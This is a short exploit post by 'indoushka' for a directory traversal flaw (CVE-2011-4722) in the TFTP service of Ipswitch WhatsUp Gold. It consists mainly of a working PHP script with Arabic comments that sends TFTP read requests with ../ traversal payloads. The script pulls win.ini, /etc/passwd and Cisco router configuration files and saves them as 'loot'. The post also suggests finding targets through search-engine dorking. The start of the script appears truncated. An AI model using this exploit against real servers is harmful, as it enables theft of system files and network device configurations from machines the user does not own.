============================================================================================================================================= | # Title : TFTP Server 1.0.0.24 in Ipswitch WhatsUp Gold Directory Traversal vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://sourceforge.net/projects/go-tftp/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: Performing a Directory Traversal attack against the TFTP service of IpSwitch WhatsUp Gold, allowing sensitive files to be exfiltrated from the targeted server. (Related : https://packetstorm.news/files/id/180941/ Linked CVE numbers: CVE-2011-4722 ) . [+] save code as poc.php. [+] Set taget : Line 3. [+] USage : php poc.php [+] PayLoad : str_repeat("../", 10) . "windows/win.ini", "Linux" => str_repeat("../", 10) . "etc/passwd", "MacOS" => str_repeat("../", 10) . "etc/passwd", "Cisco" => str_repeat("../", 10) . "flash:/config.text", "Cisco-NVRAM" => str_repeat("../", 10) . "nvram:startup-config" ]; // إنشاء مقبس (Socket) UDP $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); if (!$socket) { die("خطأ: لا يمكن إنشاء مقبس UDP.\n"); } // تكرار الاختبار لكل ملف مستهدف foreach ($target_files as $os => $filename) { echo "محاولة استرجاع الملف الخاص بـ: $os -> $filename\n"; // إعداد حزمة الطلب (TFTP Read Request) $request = "\x00\x01" . $filename . "\x00" . "octet" . "\x00"; // إرسال الطلب إلى الخادم الهدف socket_sendto($socket, $request, strlen($request), 0, $target_ip, $port); // استقبال البيانات من الخادم $file_data = ""; while (true) { $buf = ""; $from = ""; $port = 0; $bytes_received = socket_recvfrom($socket, $buf, 65535, 0, $from, $port); if ($bytes_received === false || $bytes_received === 0) { break; // انتهى النقل أو حدث خطأ } // فك تشفير الحزمة المستقبلة $opcode = unpack("n", substr($buf, 0, 2))[1]; $block_id = unpack("n", substr($buf, 2, 2))[1]; $data = substr($buf, 4); if ($opcode !== 3) { // 3 = حزمة بيانات echo " فشل استرجاع الملف: $filename من $target_ip\n"; break; } $file_data .= $data; // إرسال تأكيد الاستلام (ACK) $ack = "\x00\x04" . pack("n", $block_id); socket_sendto($socket, $ack, strlen($ack), 0, $from, $port); // إنهاء النقل إذا كان حجم البيانات أقل من 512 بايت if (strlen($data) < 512) { break; } } // حفظ البيانات في ملف محلي if (!empty($file_data)) { $local_filename = "loot_" . str_replace(["/", ":", "\\"], "_", $filename); file_put_contents($local_filename, $file_data); echo " تم حفظ الملف ($os) بنجاح في: $local_filename\n"; } else { echo "️ لم يتم العثور على الملف: $filename\n"; } } // إغلاق المقبس socket_close($socket); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================